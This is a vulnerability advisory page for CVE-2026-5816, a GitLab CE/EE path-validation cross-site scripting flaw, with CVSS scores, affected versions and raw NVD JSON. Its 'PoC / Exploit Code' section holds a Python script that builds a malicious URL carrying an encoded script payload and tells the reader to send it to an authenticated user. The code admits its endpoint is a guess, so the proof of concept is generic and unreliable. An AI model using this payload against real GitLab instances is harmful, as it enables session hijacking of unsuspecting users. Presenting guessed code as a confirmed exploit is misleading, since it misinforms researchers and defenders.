Security Vulnerability Report
中文
CVE-2026-5816 CVSS 8.0 HIGH

CVE-2026-5816

Published: 2026-04-22 17:16:45
Last Modified: 2026-04-23 20:30:30

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.10 before 18.10.4 and 18.11 before 18.11.1 that could have allowed an unauthenticated user to execute arbitrary JavaScript in a user's browser session due to improper path validation under certain conditions.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:enterprise:*:*:* - VULNERABLE
GitLab CE/EE 18.10.0 - 18.10.3
GitLab CE/EE 18.11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import urllib.parse """ PoC for CVE-2026-5816 (GitLab Path Validation XSS) Description: Generates a malicious URL to exploit the path validation issue. Usage: Replace 'target-gitlab.com' with the actual target domain. """ def generate_exploit_url(target_domain): # Malicious JavaScript payload payload = "<script>alert('CVE-2026-5816 XSS');</script>" # Encode payload for URL encoded_payload = urllib.parse.quote(payload) # Construct the vulnerable path # Note: The specific vulnerable endpoint might vary based on the actual vulnerability details. # This demonstrates injecting code into a path segment. exploit_url = f"https://{target_domain}/-/profile/{encoded_payload}" return exploit_url if __name__ == "__main__": target = "target-gitlab.com" url = generate_exploit_url(target) print(f"[+] Exploit URL: {url}") print("[+] Send this URL to an authenticated user to trigger the XSS.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5816", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:44.763", "lastModified": "2026-04-23T20:30:30.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.10 before 18.10.4 and 18.11 before 18.11.1 that could have allowed an unauthenticated user to execute arbitrary JavaScript in a user's browser session due to improper path validation under certain conditions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-41"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.4", "matchCriteriaId": "98D16D9B-6A45-45F3-934B-3ED95C8371BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.4", "matchCriteriaId": "58B8096F-9D7B-403D-B685-E9D4FA24F3E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:community:*:*:*", "matchCriteriaId": "A6100523-821F-4F41-872D-AC5A60EECC19"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "C78F9577-CDD5-497B-A92F-3C578AC6709E"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/04/22/patch-release-gitlab-18-11-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/592816", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3572231", "source": "[email protected]", "tags": ["Permissions Required"]}]}}